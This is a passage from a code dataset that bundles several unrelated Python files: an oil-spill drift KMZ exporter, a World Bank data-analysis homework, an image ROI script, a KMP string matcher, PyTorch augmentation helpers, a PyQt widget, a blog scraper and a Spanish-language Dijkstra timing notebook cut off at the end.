'C:\\\\Users\\\\thors\\\\Documents\\\\GitHub\\\\App4Sea\\\\src\\\\main\\\\webapp\\\\data\\\\'\n#ourfile = 'Vestmanna'\n#ourext = '.nc'\nourpath = '../nc/'\nourfile = 'cuba_long_2011_point5'\nourext = '.nc'\nourdestext = '.kmz'\npixels = 1024\n\nds = NetCDFFile(ourpath + ourfile + ourext)\nz=ds.variables['z'][:]\nlat = ds.variables['lat'][:]\nlon = ds.variables['lon'][:]\nmass_oil = ds.variables['mass_oil'][:]\ntim = ds.variables['time'][:]\n\nfig, ax = gearth_fig(llcrnrlon=lon.min(),\n llcrnrlat=lat.min(),\n urcrnrlon=lon.max(),\n urcrnrlat=lat.max(),\n pixels=pixels)\n\n#for dagtime in tim:\n# print (datetime.datetime.utcfromtimestamp(dagtime))\n\nprint ('Variables:')\n#for vrbl in ds.variables:\n# print (vrbl, end=', ')\n\nprint ()\ni = 0\nimages = []\nprint ('Images(' + str(len(tim.data)-1) + \")\")\n\nwhile i < len(tim.data)-1:\n try:\n image = odplot(z, lat, lon, i, i+1, mass_oil, ourfile + str(i) + '.png')\n i = i+1\n images.append(image)\n except:\n break\n\nkml = make_kml(llcrnrlon=lon.min(), llcrnrlat=lat.min(),\n urcrnrlon=lon.max(), urcrnrlat=lat.max(),\n figs=images, \n tim = tim,\n colorbar='legend.png',\n kmzfile = ourfile + ourdestext, \n name=ourfile,\n description='Oil spill drift prediction',\n author = 'Lars R. Hole',\n visibility = 0,\n gxaltitudemode=AltitudeMode.absolute, altitude=240000)\n\nkml.save(ourfile + '.kml')\n\nds.close()\n","sub_path":"src/main/webapp/py/ncEARTH/ncEARTH_App4Sea.py","file_name":"ncEARTH_App4Sea.py","file_ext":"py","file_size_in_byte":6212,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"653021257","text":"import pandas as pd\nimport numpy as np\nimport datetime as dt\nimport matplotlib.pyplot as plt\nimport matplotlib.patches as mpatches\nplt.style.use('ggplot')\nimport math\n\n# Step 1 \n# Create a data frame \n# http://stackoverflow.com/questions/22137723/convert-number-strings-with-commas-in-pandas-dataframe-to-float\ndf = pd.read_csv('world_bank_indicators.txt',sep='\\t', parse_dates = ['Date'], thousands=',')\n\n# (a) (5 points) Keep only rows with date=2000 or date=2010\n# http://pandas.pydata.org/pandas-docs/stable/generated/pandas.DataFrame.isin.html\ndf['Date'] = pd.to_datetime(df['Date'])\ndf = df[df['Date'].dt.year.isin([2010, 2000])]\n\n# (b) Keep only the following columns:\ndf1 = df[['Country Name', 'Date','Population: Total (count)','Business: Mobile phone subscribers', \\\n\t\t'Health: Mortality, under-5 (per 1,000 live births)','Business: Internet users (per 100 people)',\\\n\t\t'Finance: GDP per capita (current US$)']]\n\ndf1.dropna(how='any',inplace=True)\n\n# Change column name to match with names specified in the question \ndf1.columns = ['Country Name', 'Date', 'Total Population', 'Mobile Subscribers','Health: Mortality under-5',\\\n\t\t\t\t'Internet users (per 100 people)','GDP per capita']\n\n# (c) Compute and add the following new columns\n\n# Convert string to numberic type\n# http://pandas.pydata.org/pandas-docs/stable/generated/pandas.to_numeric.html\npd.to_numeric(df1['Total Population'], errors='ignore')\n\npd.to_numeric(df1['Mobile Subscribers'], errors='ignore')\n\n# Create new columns\ndf1['Mobile Subscribers Per Capita'] = (df1['Mobile Subscribers'] / df1['Total Population'])\n\n# http://stackoverflow.com/questions/27013398/log-values-by-sframe-column\ndf1['log(GDP per capita)'] = df1['GDP per capita'].apply(lambda x: math.log(x))\n\ndf1['log(Health: Mortality under-5)'] = df1['Health: Mortality under-5'].apply(lambda x: math.log(x))\n\n# (d) You should store any numbers requiring decimal points as a string \n# formatted such that there are exactly 5 digits after the decimal point \n# (for example 0.00223).\n\n# http://pandas.pydata.org/pandas-docs/stable/generated/pandas.DataFrame.round.html\ndf1 = df1.round(5)\n\n# Step 2\n\n# Add code to read the region file (world_bank_regions.txt) into an appropriate data structure. \n\ndf2 = pd.read_csv('world_bank_regions.txt',sep='\\t')\ndf2.columns = ['Region','Subregion','Country Name']\n\n\n# Use the region file structure and add the region column to the columns you produced above. \ndf3 = df1.merge(df2, how='left', on='Country Name')\ndel df3['Subregion']\ndf3.dropna(how='any',inplace=True)\n\n# Step 3 Sorting\n\ndf3.sort(['Date', 'Region', 'GDP per capita'], inplace=True)\n\n# Step 4 Output to a file in CSV format\n\ndf3.to_csv('worldbank_output_lianghui.csv', sep='\\t')\n\n# Step 5 Analyze the results \n\n# Part 1: a) Generate a scatter plot of the relationship between mobile usage per capita (x-axis) vs internet usage per 100 people (y-axis), for countries in Europe vs countries in the Americas, as seen in 2000. Your plot should look like the sample given in mobile-vs-internet-2000.pdf.\n# http://stackoverflow.com/questions/27318906/python-scatter-plot-with-colors-corresponding-to-strings\n\ndf2000 = df3[df3['Date'].dt.year == 2000]\ndf2000 = df2000[df2000['Region'].isin(['Europe','The Americas'])]\n\n# http://stackoverflow.com/questions/27318906/python-scatter-plot-with-colors-corresponding-to-strings\ncolor_dict={'Europe':'blue', 'The Americas':'red'}\n\nplt.scatter(x=df2000['Mobile Subscribers Per Capita'], y=df2000['Internet users (per 100 people)'], color=[color_dict[i] for i in df2000['Region']])\n\nplt.xlabel('Mobile Subscribers Per Capita', fontsize=10)\nplt.ylabel('Internet users (per 100 people)', fontsize=10)\n# http://stackoverflow.com/questions/12750355/python-matplotlib-figure-title-overlaps-axes-label-when-using-twiny\nplt.suptitle('Mobile vs internet usage for Europe vs Americas in year 2000', fontsize=13)\n# http://stackoverflow.com/questions/9622163/save-plot-to-image-file-instead-of-displaying-it-using-matplotlib-so-it-can-be\n\n# Add Legend to the plot\n# http://matplotlib.org/users/legend_guide.html#plotting-guide-legend\nred_patch = mpatches.Patch(color='red', label='The Americas')\nblue_patch = mpatches.Patch(color='blue', label='Europe')\nplt.legend(handles=[red_patch, blue_patch], loc='center right', bbox_to_anchor=(1.3, 0.5))\n\n# http://stackoverflow.com/questions/9622163/save-plot-to-image-file-instead-of-displaying-it-using-matplotlib-so-it-can-be\nplt.savefig('si601-hw1-plot1-2000_lianghui.pdf')\n\n# Part 1: b) Generate a second scatter plot of the same form, but using data collected in 2010 instead of 2000.\n\ndf2010 = df3[df3['Date'].dt.year == 2010]\ndf2010 = df2010[df2010['Region'].isin(['Europe','The Americas'])]\n\nplt.scatter(x=df2010['Mobile Subscribers Per Capita'], y=df2010['Internet users (per 100 people)'], color=[color_dict[i] for i in df2010['Region']])\n\nplt.xlabel('Mobile Subscribers Per Capita', fontsize=10)\nplt.ylabel('Internet users (per 100 people)', fontsize=10)\nplt.suptitle('Mobile vs internet usage for Europe vs Americas in year 2010', fontsize=13)\n\nred_patch = mpatches.Patch(color='red', label='The Americas')\nblue_patch = mpatches.Patch(color='blue', label='Europe')\nplt.legend(handles=[red_patch, blue_patch], loc='center right', bbox_to_anchor=(1.3, 0.5))\n\nplt.savefig('si601-hw1-plot1-2010_lianghui.pdf')\n\n# Part 2: Generate a scatter plot of the relationship between log(Finance: GDP per capita) on the x-axis and log(Health: Mortality, under-5) on the y-axis, for country data gathered in 2010. Use color/shape to distinguish groups of countries in the Europe, Asia, Americas, and Africa regions in the same plot. Save your plot file as si601-hw1-plot2_youruniquename.pdf\n\ndf2010_all = df3[df3['Date'].dt.year == 2010]\n\ncolor_dict2={'Europe':'blue', 'The Americas':'red', 'Africa': 'black', 'Asia': 'yellow', 'Oceania': 'green', 'Middle East': 'purple'}\n\nplt.ylim(0, 8)\nplt.xlim(0, 15)\nplt.scatter(x=df2010_all['log(GDP per capita)'], y=df2010_all['log(Health: Mortality under-5)'], color=[color_dict2[i] for i in df2010_all['Region']])\n\nplt.xlabel('log(GDP per capita)', fontsize=10)\nplt.ylabel('log(Health: Mortality under-5)', fontsize=10)\nplt.suptitle('log(GDP per capita) vs log(Health: Mortality under-5 in year 2010', fontsize=13)\nred_patch = mpatches.Patch(color='red', label='The Americas')\nblue_patch = mpatches.Patch(color='blue', label='Europe')\nblack_patch = mpatches.Patch(color='black', label='Africa')\nyellow_patch = mpatches.Patch(color='yellow', label='Asia')\ngreen_patch = mpatches.Patch(color='green', label='Oceania')\npurple_patch = mpatches.Patch(color='purple', label='Middle East')\n\nplt.legend(handles=[red_patch, blue_patch, black_patch, yellow_patch, green_patch, purple_patch], loc='center right', bbox_to_anchor=(1.3, 0.5))\n\nplt.savefig('si601-hw1-plot2_lianghui.pdf')\n","sub_path":"WorldBank-Data-Analysis/si601-hw1_lianghui.py","file_name":"si601-hw1_lianghui.py","file_ext":"py","file_size_in_byte":6819,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"36084849","text":"import numpy as np\nimport pylab as pl\nfrom roipoly import roipoly\n\n# create image\n# Open a file\nfo = open(\"imgUrl.txt\", \"r+\")\nstr = fo.read();\n# Close opend file\nfo.close()\n# show the image\nimg = pl.imread(str)\nimg = np.mean(img,2)\npl.imshow(img)\npl.colorbar()\npl.title(\"left click: line segment right click: close region\")\n\n# let user draw first ROI\nROI1 = roipoly(roicolor='r') #let user draw first ROI\n\n# show the image with the first ROI\npl.imshow(img, interpolation='nearest', cmap=\"Greys\")\npl.colorbar()\nROI1.displayROI()\n#pl.title('draw second ROI')\n\n# let user draw second ROI\n#ROI2 = roipoly(roicolor='b') #let user draw ROI\n\n# show the image with both ROIs and their mean values\n#pl.imshow(img, interpolation='nearest', cmap=\"Greys\")\n#pl.colorbar()\n#[x.displayROI() for x in [ROI1, ROI2]]\n[x.displayROI() for x in [ROI1]]\n[x.displayMean(img) for x in [ROI1]]\n#pl.title('The two ROIs')\n#pl.show()\n\n# show ROI masks\npl.imshow(ROI1.getMask(img),\n interpolation='nearest', cmap=\"Greys\")\npl.title('ROI masks of the ROIs')\npl.show()\n","sub_path":"use_roipoly.py","file_name":"use_roipoly.py","file_ext":"py","file_size_in_byte":1055,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"238538308","text":"def makePi():\n n = len(t)\n pi = [0]*n\n j = 0\n for i in range(1, n):\n while j>0 and t[i] != t[j]:\n j = pi[j-1]\n if t[i] == t[j]:\n j += 1\n pi[i] = j\n\n return pi\n\ndef kmp():\n pi = makePi()\n n = len(s)\n m = len(t)\n j = 0\n\n for i in range(n):\n while j>0 and s[i] != t[j]:\n j = pi[j-1]\n if s[i] == t[j]:\n if j == m-1:\n return True\n else:\n j = j+1\n\n return False\n\n\n\ns = input()\nt = input()\nprint(1 if kmp() else 0)","sub_path":"baekjoon/16916.py","file_name":"16916.py","file_ext":"py","file_size_in_byte":564,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"139703631","text":"from __future__ import absolute_import, print_function\n\n\"\"\"\nCUB-200-2011 data-set for Pytorch\n\"\"\"\nimport torch\nimport torch.utils.data as data\nfrom PIL import Image\nimport torchvision\nimport os\nimport sys\nfrom DataSet import transforms\nfrom collections import defaultdict\nimport numpy as np\n\ndef default_loader(path):\n return Image.open(path).convert('RGB')\n\nloader = torchvision.transforms.Compose([transforms.ToTensor()])\nunloader = torchvision.transforms.ToPILImage()\ndef tensor_to_PIL(tensor):\n image = tensor.cpu().clone()\n image = image.squeeze(0)\n image = unloader(image)\n return image\ndef PIL_to_tensor(image):\n image = loader(image).unsqueeze(0)\n return image.to(device, torch.float)\ndef Generate_transform_Dict(origin_width=256, width=227, ratio=0.16):\n std_value = 1.0 / 255.0\n normalize = transforms.Normalize(mean=[104 / 255.0, 117 / 255.0, 128 / 255.0],\n std=[1.0 / 255, 1.0 / 255, 1.0 / 255])\n\n transform_dict = {}\n\n transform_dict['rand-crop'] = \\\n transforms.Compose([\n #transforms.CovertBGR(),\n transforms.ToPILImage(),\n transforms.Resize((origin_width)),\n transforms.RandomResizedCrop(scale=(ratio, 1), size=width),\n transforms.RandomHorizontalFlip(),\n transforms.ToTensor(),\n normalize,\n ])\n\n transform_dict['center-crop'] = \\\n transforms.Compose([\n #transforms.CovertBGR(),\n\n transforms.Resize((origin_width)),\n transforms.CenterCrop(width),\n transforms.ToTensor(),\n normalize,\n ])\n\n transform_dict['resize'] = \\\n transforms.Compose([\n #transforms.CovertBGR(),\n transforms.Resize((width)),\n transforms.ToTensor(),\n normalize,\n ])\n return transform_dict\n\n\ndef Augment_Data(Inputs, Labels, transform=None, loader=default_loader, freq=1):\n # Initialization data path and train(gallery or query) txt path\n if transform is None:\n transform_dict = Generate_transform_Dict()['rand-crop']\n images = []\n #print(\"images:\", Inputs.size())\n #print(\"labels:\", Labels.size())\n num=Inputs.size(0)\n\n # Generate Index Dictionary for every class\n\n\n # Initialization Done\n re_label=[]\n re_img=[]\n for n in range(0,num):\n for f in range(0,freq):\n #print(num, \"ori:\", Inputs[num])\n pic=Inputs[n]\n if transform is not None:\n i = transform(pic)\n #i = PIL_to_tensor(i)\n\n re_img.append(i.numpy())\n #print(num, \":\", f, \":\", i)\n re_label.append(Labels[n].item())\n re_label=torch.LongTensor(re_label)\n re_img = torch.Tensor(re_img)\n print(re_img.size())\n print(re_label.size())\n return re_img, re_label\n\n\n\n\ndef Aug(data=None, width=227, origin_width=256, ratio=0.16, aug_instance=1):\n #print('width: \\t {}'.format(width))\n inputs, labels = data\n #print(\"inputs:\", inputs)\n #print(\"labels\", labels)\n\n transform_Dict = Generate_transform_Dict(origin_width=origin_width, width=width, ratio=ratio)\n data_ = Augment_Data(inputs, labels, transform=transform_Dict['rand-crop'], freq=aug_instance)\n return data_\n\n","sub_path":"DataSet/self_augment.py","file_name":"self_augment.py","file_ext":"py","file_size_in_byte":3285,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"519754694","text":"from PyQt4.QtGui import *\r\nfrom PyQt4.QtCore import *\r\n\r\n\r\nclass SearchBarWidget(QWidget):\r\n SearchEntered = pyqtSignal()\r\n def __init__(self):\r\n super().__init__()\r\n\r\n self.searchbar = QLineEdit()\r\n\r\n self.layout = QVBoxLayout()\r\n\r\n self.layout.addWidget(self.searchbar)\r\n\r\n self.setLayout(self.layout)\r\n","sub_path":"Implementation/COMP COURSEWORK/searchbar_widget.py","file_name":"searchbar_widget.py","file_ext":"py","file_size_in_byte":346,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"411910579","text":"from urllib.request import urlopen\nimport urllib.request\n\nfrom bs4 import BeautifulSoup\n\n\ndef getAllDoxyDonkeyPosts(url, links):\n request1 = urllib.request.Request(url)\n response = urlopen(request1)\n soup = BeautifulSoup(response, \"lxml\")\n print(soup.find_all('a'))\n for a in soup.find_all('a'):\n try:\n url = a['href']\n title = a['title']\n if title == 'Older Posts':\n print(title, url)\n links.append(url)\n getAllDoxyDonkeyPosts(url, links)\n except:\n title = \"\"\n return\n\n\nblogUrl = \"http://sur.ly/o/doxydonkey.blogspot.in/AA000014\"\nlinks = []\ngetAllDoxyDonkeyPosts(blogUrl, links)\n\nprint(links)","sub_path":"NLP_projects/blogs_classification.py","file_name":"blogs_classification.py","file_ext":"py","file_size_in_byte":714,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"549274290","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\n\"\"\"\nCreated on Wed Oct 19 15:48:00 2018\n\n@author: Daniel Cuesta, Alejandro Garo\n\"\"\"\n\nimport string, random\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport sys\nimport time\n\nimport queue\n\nfrom sklearn.linear_model import LinearRegression\n\nimport networkx as nx\n\n\n# In[2]:\n\n\ndef fit_plot(l, func_2_fit, size_ini, size_fin, step):\n l_func_values =[i*func_2_fit(i) for i in range(size_ini, size_fin+1, step)]\n \n lr_m = LinearRegression()\n X = np.array(l_func_values).reshape( len(l_func_values), -1 )\n lr_m.fit(X, l)\n y_pred = lr_m.predict(X)\n \n plt.plot(l, '*', y_pred, '-')\n return \n\ndef n2_log_n(n):\n return n**2. * np.log(n)\n\n\n# In[3]:\n\n\nl = [\n[0, 10, 1, np.inf],\n[np.inf, 0, 1, np.inf],\n[np.inf, np.inf, 0, 1 ],\n[np.inf, 1, np.inf, 0]\n]\n\nm_g = np.array(l)\n\ndef print_m_g(m_g):\n print(\"graph_from_matrix:\\n\")\n n_v = m_g.shape[0]\n for u in range(n_v):\n for v in range(n_v):\n if v != u and m_g[u, v] != np.inf:\n print(\"(\", u, v, \")\", m_g[u, v])\n \nd_g = {\n0: {1: 10, 2: 1}, \n1: {2: 1}, \n2: {3: 1},\n3: {1: 1}\n}\n\ndef print_d_g(d_g):\n print(\"\\ngraph_from_dict:\\n\")\n for u in d_g.keys():\n for v in d_g[u].keys():\n print(\"(\", u, v, \")\", d_g[u][v])\n \nprint_m_g(m_g)\nprint_d_g(d_g)\n\n\n# In[4]:\n\n\ndef rand_matr_pos_graph(n_nodes, sparse_factor, max_weight=50., decimals=0):\n \n \"\"\"\n Genera una matriz de adyacencia a partir de un grafo dirigido ponderado.\n Devuelve la matriz de adyacencia.\n\n Parámetros\n ----------\n n_nodes : numero de nodos\n sparse_factor : proporcion de ramas\n max_weight : peso maximo\n \"\"\"\n\n matriz = np.zeros((n_nodes,n_nodes))\n\n for i in range (0,n_nodes):\n for j in range (0,n_nodes):\n if i != j:\n aleat = np.random.rand()\n if aleat < sparse_factor:\n aleat = np.random.randint(1, max_weight)\n matriz[i][j] = aleat\n else:\n matriz[i][j] = np.inf\n return matriz\n\ndef m_g_2_d_g(m_g):\n \n \"\"\"\n Genera un diccionario de listas de adyacencia del grafo definido por la matriz.\n Devuelve el diccionario.\n\n Parámetros\n ----------\n m_g : matriz de adyacencia\n \"\"\"\n\n dic = {}\n\n for i in range (0, m_g.shape[0]):\n tuplas = {}\n for j in range (0, m_g.shape[1]):\n if i != j:\n if np.isinf(m_g[i][j]) != True:\n tuplas.update({j: m_g[i][j]})\n dic.update({i:tuplas})\n\n return dic\n \n\ndef d_g_2_m_g(d_g):\n \n \"\"\"\n Genera una matriz de adyacencia del grafo definido por el diccionario.\n Devuelve la matriz.\n\n Parámetros\n ----------\n d_g : diccionario de listas de adyacencia\n \"\"\"\n\n #recorrerDic\n keys = list(d_g.keys())\n max = keys[-1]\n\n matriz = np.zeros((max+1,max+1))\n\n #rellenamos infs\n for i in range (0,max+1):\n for j in range (0,max+1):\n if i != j:\n matriz[i][j] = np.inf\n\n print(d_g)\n #rellenamos los costes\n for i in d_g:\n for j in d_g[i]:\n matriz[i][j] = d_g[i][j]\n\n return matriz\n \n\n\n# In[5]:\n\n\nm_g = rand_matr_pos_graph(n_nodes=5, sparse_factor=0.5, max_weight=50.)\nd_g = m_g_2_d_g(m_g)\nm_g_2 = d_g_2_m_g(d_g)\n\nprint_m_g(m_g)\nprint_d_g(d_g)\nprint(\"\\nnum_elem_iguales:\\t%d\" % (m_g_2 == m_g).sum() )\n\n\n# In[6]:\n\n\ndef cuenta_ramas(m_g):\n \n \"\"\"\n Cuenta el numero de ramas que hay en la matriz de adyacencia.\n Devuelve el numero de ramas.\n\n Parámetros\n ----------\n m_g : matriz de adyacencia\n \"\"\"\n \n n_ramas = len(m_g[np.where(m_g != np.inf)]) - m_g.shape[0]\n \n return n_ramas\n\ndef check_sparse_factor(n_grafos, n_nodes, sparse_factor):\n \n \"\"\"\n Genera las matrices de varios grafos aleatorios y sus proporciones.\n Devuelve la media de las proporciones.\n\n Parámetros\n ----------\n n_grafos : numero de grafos\n n_nodes : numero de nodos\n sparse_factor : proporcion de ramas\n \"\"\"\n \n sparse_med = 0\n for i in range(0,n_grafos):\n m = rand_matr_pos_graph(n_nodes, sparse_factor)\n sparse_med += cuenta_ramas(m) / (n_nodes*n_nodes - n_nodes)\n\n return sparse_med/(i+1)\n\n\n# In[7]:\n\n\nprint(cuenta_ramas(m_g))\n\nn_grafos=50\nn_nodes=20\nsparse_factor = 0.75\n\nprint(\"\\ntrue_sparse_factor: %.3f\" % sparse_factor, \n \"\\nexp_sparse_factor: %.3f\" % check_sparse_factor(n_grafos=n_grafos, n_nodes=n_nodes, sparse_factor=sparse_factor))\n\n\n# In[8]:\n\n\ndef save_object(obj, f_name=\"obj.pklz\", save_path='.'):\n \n \"\"\"\n Guarda un objeto Python de manera comprimida en un fichero.\n\n Parámetros\n ----------\n obj : objeto python\n f_name : fichero donde guardar\n save_path : direccion donde guardar\n \"\"\"\n \n if(save_path == '.'):\n file = gzip.GzipFile(f_name, 'wb')\n else:\n file = gzip.GzipFile(save_path+f_name, 'wb')\n \n file.write(pickle.dumps(obj))\n file.close()\n \ndef read_object(f_name, save_path='.'):\n \n \"\"\"\n Devuelve un objeto Python guardado en un fichero.\n\n Parámetros\n ----------\n f_name : fichero donde leer\n save_path : direccion donde guardar\n \"\"\"\n \n if(save_path == '.'):\n file = gzip.GzipFile(f_name, 'rb')\n else:\n file = gzip.GzipFile(save_path+f_name, 'rb')\n \n buffer = \"\"\n while True:\n data = file.read()\n if data == \"\":\n break\n buffer += data\n \n obj = pickle.loads(buffer)\n file.close()\n \n return obj\n\n\n# In[9]:\n\n\ndef d_g_2_TGF(d_g, f_name):\n \n \"\"\"\n Guarda el grafo definido por el diccionario en un fichero.\n\n Parámetros\n ----------\n d_g : diccionario de listas de adyacencia\n f_name : fichero donde guardar\n \"\"\"\n \n f = open(f_name, 'w')\n\n for key in d_g.keys():\n f.write(str(key)+\"\\n\")\n f.write(\"#\\n\")\n\n for i in d_g.keys():\n for j in d_g[i].keys():\n f.write(str(i)+\" \")\n f.write(str(j)+\" \")\n f.write(str(d_g[i][j])+\"\\n\")\n\n f.close()\n \ndef TGF_2_d_g(f_name):\n \n \"\"\"\n Genera un diccionario de listas de adyacencia a partir de un fichero.\n Devuelve el diccionario.\n\n Parámetros\n ----------\n f_name : fichero donde leer\n \"\"\"\n\n d_g = {}\n flag = 0\n \n f = open(f_name, 'r')\n \n for line in f:\n line = line.split()\n if flag == 1:\n d_g[int(line[0])].update({int(line[1]):float(line[2])})\n if line[0] == \"#\":\n flag = 1\n if flag == 0:\n d_g.update({int(line[0]):{}})\n f.close()\n return d_g \n\n\n# In[10]:\n\n\n############################################################ checking\nf_name = \"gr.tgf\"\nd_g_2_TGF(d_g, f_name)\n \nd_g_2 = TGF_2_d_g(f_name) \nprint_d_g(d_g)\nprint_d_g(d_g_2)\n\n\n# In[11]:\n\n\ndef dijkstra_d(d_g, u):\n\n \"\"\"\n Genera las tablas de previos y de distancias minimas entre \n el vertice y los demas de un grafo dado por un diccionario.\n Devuelve las tablas de previos y de distancias minimas.\n\n Parámetros\n ----------\n d_g : diccionario de listas de adyacencia\n u : vertice\n \"\"\"\n\n #u, elemento(nodo) del que se calculan distancias\n #d_g grafo en dicc\n\n pq = queue.PriorityQueue()\n distancia = {}\n previo = {}\n visitado = {}\n\n #crear diccionarios con indice el nodo y (distancia, previo, visitado)\n for i in d_g.keys():\n distancia[i] = np.inf\n previo[i] = None\n visitado[i] = False\n\n #la distancia en u es cero\n distancia[u]=0\n \n #insertamos en la pq la tupla (d[u], u)\n pq.put((distancia[u], u))\n previo[u] = u\n\n #Bucle mientras pq no vacia:\n while pq.empty() == False:\n #Escogemos la primera tupla de la pq y pasamos a este nodo n\n _, n = pq.get()\n #Si este nodo no ha sido visitado lo visitamos v[n] = True\n if visitado[n] == False:\n visitado[n] = True\n\n #Para cada camino z en todos los caminos de n\n caminos = d_g[n]\n for z in caminos.keys():\n coste_n_z = d_g[n][z]\n\n #Si distancia[z] > (distancia[n] + coste(n, z):\n if distancia[z] > (distancia[n] + coste_n_z):\n #distancia[z] = (distancia[n] + coste(n, z)\n distancia[z] = (distancia[n] + coste_n_z)\n #previo[z] = n\n previo[z] = n\n #insertamos tupla (d[z], z) en pq\n pq.put((distancia[z],z))\n\n return distancia, previo\n \ndef min_paths(d_prev):\n \"\"\"\n Genera los caminos minimos desde un vertice a los demas \n vertices del grafo.\n Devuelve un diccionario con los caminos entre vertices.\n\n Parámetros\n ----------\n d_prev : diccionario de previos\n \"\"\"\n \n d_paths = {}\n l_paths = []\n \n for prev in d_prev.keys():\n prev_aux = prev\n \n if d_prev[prev] is None:\n continue\n \n while d_prev[prev_aux] != prev_aux:\n l_paths.append(prev_aux)\n prev_aux = d_prev[prev_aux]\n \n if d_prev[prev_aux] == prev_aux:\n l_paths.append(prev_aux)\n \n d_paths[prev] = l_paths[::-1]\n l_paths = []\n\n return d_paths\n\ndef time_dijkstra_m(n_graphs, n_nodes_ini, n_nodes_fin, step, sparse_factor=.25):\n \n \"\"\"\n Mide los tiempos que tarda en ejecutar el algoritmo de Dijkstra\n sobre diferentes grafos con diferentes cantidades de nodos dados en \n matrices.\n Devuelve los tiempos.\n\n Parámetros\n ----------\n n_graphs : numero de grafos\n n_nodes_ini : tamaño de inicio\n n_nodes_fin : tamaño de fin\n step : incremento\n sparse_factor : proporcion de ramas\n \"\"\"\n l_time = []\n n_nodes = n_nodes_ini\n\n while n_nodes <= n_nodes_fin:\n #tiempo inicial\n time1 = time.clock()\n for i in range(n_graphs):\t\t\n #genera grafo en matriz\n matriz = rand_matr_pos_graph(n_nodes, sparse_factor)\n #dijkstra en matriz para cada u\n for u in range(matriz.shape[0]-1):\n dijkstra_m(matriz, u)\n\n #tiempo final\n time2 = time.clock()\n l_time.append(time2 - time1)\n n_nodes += step\n\n return l_time\n\n\ndef time_dijkstra_d(n_graphs, n_nodes_ini, n_nodes_fin, step, sparse_factor=.25):\n \"\"\"\n Mide los tiempos que tarda en ejecutar el algoritmo de Dijkstra\n sobre diferentes grafos con diferentes cantidades de nodos dados en diccionarios.\n Devuelve los tiempos.\n\n Parámetros\n ----------\n n_graphs : numero de grafos\n n_nodes_ini : tamaño de inicio\n n_nodes_fin : tamaño de fin\n step : incremento\n sparse_factor : proporcion de ramas\n \"\"\"\n \n l_time = []\n n_nodes = n_nodes_ini\n \n print(\"Tiempo en Dijkstra dict\")\n while n_nodes <= n_nodes_fin:\n #tiempo inicial\n time1 = time.clock()\n for i in range(n_graphs):\n #genera grafo en matriz\n matriz = rand_matr_pos_graph(n_nodes, sparse_factor)\n #genera dic a partir de matriz\n dic = m_g_2_d_g(matriz)\n #dijkstra en dic para cada u\n for u in dic.keys():\n dijkstra_d(dic, u)\n #tiempo final\n time2 = time.clock()\n l_time.append(time2 - time1)\n print(\"Tiempo medio para n_nodes \" + str(n_nodes) + \": \" + str(time2 - time1))\n n_nodes += step\n \n return l_time\n \n\n\n# In[12]:\n\n\n############################################################ checking\nd_g = {\n0: {1: 10, 2: 1}, \n1: {2: 1}, \n2: {3: 1},\n3: {1: 1}\n}\n\nu_ini = 3\n\nd_dist, d_prev = dijkstra_d(d_g, u_ini)\nprint(d_dist, '\\n', min_paths(d_prev))\n\nd_g_nx = nx.DiGraph()\nl_e = [(0, 1, 10), (0, 2, 1), (1, 2, 1), (2, 3, 1), (3, 1, 1)]\nd_g_nx.add_weighted_edges_from(l_e)\n\nd, p = nx.single_source_dijkstra(d_g_nx, u_ini, weight='weight') \nprint(\"NX:\")\nprint(d, '\\n', p)\n\n\n# In[13]:\n\n\nn_graphs=20\nn_nodes_ini=10 \nn_nodes_fin=100\nstep=10\n\nsparse_f= 0.1\nl_t_d_1 = time_dijkstra_d(n_graphs=n_graphs, n_nodes_ini=n_nodes_ini, \n n_nodes_fin=n_nodes_fin, step=step, sparse_factor=sparse_f)\nsparse_f= 0.3\nl_t_d_2 = time_dijkstra_d(n_graphs=n_graphs, n_nodes_ini=n_nodes_ini, \n n_nodes_fin=n_nodes_fin, step=step, sparse_factor=sparse_f)\n\nsparse_f= 0.5\nl_t_d_3 = time_dijkstra_d(n_graphs=n_graphs, n_nodes_ini=n_nodes_ini, \n n_nodes_fin=n_nodes_fin, step=step, sparse_factor=sparse_f)\n\nsparse_f= 0.7\nl_t_d_4 = time_dijkstra_d(n_graphs=n_graphs, n_nodes_ini=n_nodes_ini, \n n_nodes_fin=n_nodes_fin, step=step, sparse_factor=sparse_f)\n\nsparse_f= 0.9\nl_t_d_5 = time_dijkstra_d(n_graphs=n_graphs, n_nodes_ini=n_nodes_ini, \n n_nodes_fin=n_nodes_fin, step=step, sparse_factor=sparse_f)\n\n\n# In[14]:\n\n\nfit_plot(l_t_d_1, n2_log_n, size_ini=n_nodes_ini, size_fin=n_nodes_fin, step=step)\nplt.xlabel('Nodos')\nplt.ylabel('Tiempo Medio')\nplt.title('Crecimiento de Dijkstra')\n\n\n# In[15]:\n\n\nfit_plot(l_t_d_2, n2_log_n, size_ini=n_nodes_ini, size_fin=n_nodes_fin, step=step)\nplt.xlabel('Nodos')\nplt.ylabel('Tiempo Medio')\nplt.title('Crecimiento de Dijkstra')\n\n\n# In[16]:\n\n\nfit_plot(l_t_d_3, n2_log_n, size_ini=n_nodes_ini, size_fin=n_nodes_fin, step=step)\nplt.xlabel('Nodos')\nplt.ylabel('Tiempo Medio')\nplt.title('Crecimiento de Dijkstra')\n\n\n# In[17]:\n\n\nfit_plot(l_t_d_4, n2_log_n, size_ini=n_nodes_ini, size_fin=n_nodes_fin, step=step)\nplt.xlabel('Nodos')\nplt.ylabel('Tiempo Medio')\nplt.title('Crecimiento de Dijkstra')\n\n\n# In[18]:\n\n\nfit_plot(l_t_d_5, n2_log_n, size_ini=n_nodes_ini, size_fin=n_nodes_fin, step=step)\nplt.xlabel('Nodos')\nplt.ylabel('Tiempo Medio')\nplt.title('Crecimiento de Dijkstra')\n\n\n# In[19]:\n\n\nfit_plot(l_t_d_1, n2_log_n, size_ini=n_nodes_ini, size_fin=n_nodes_fin, step=step)\nfit_plot(l_t_d_2, n2_log_n, 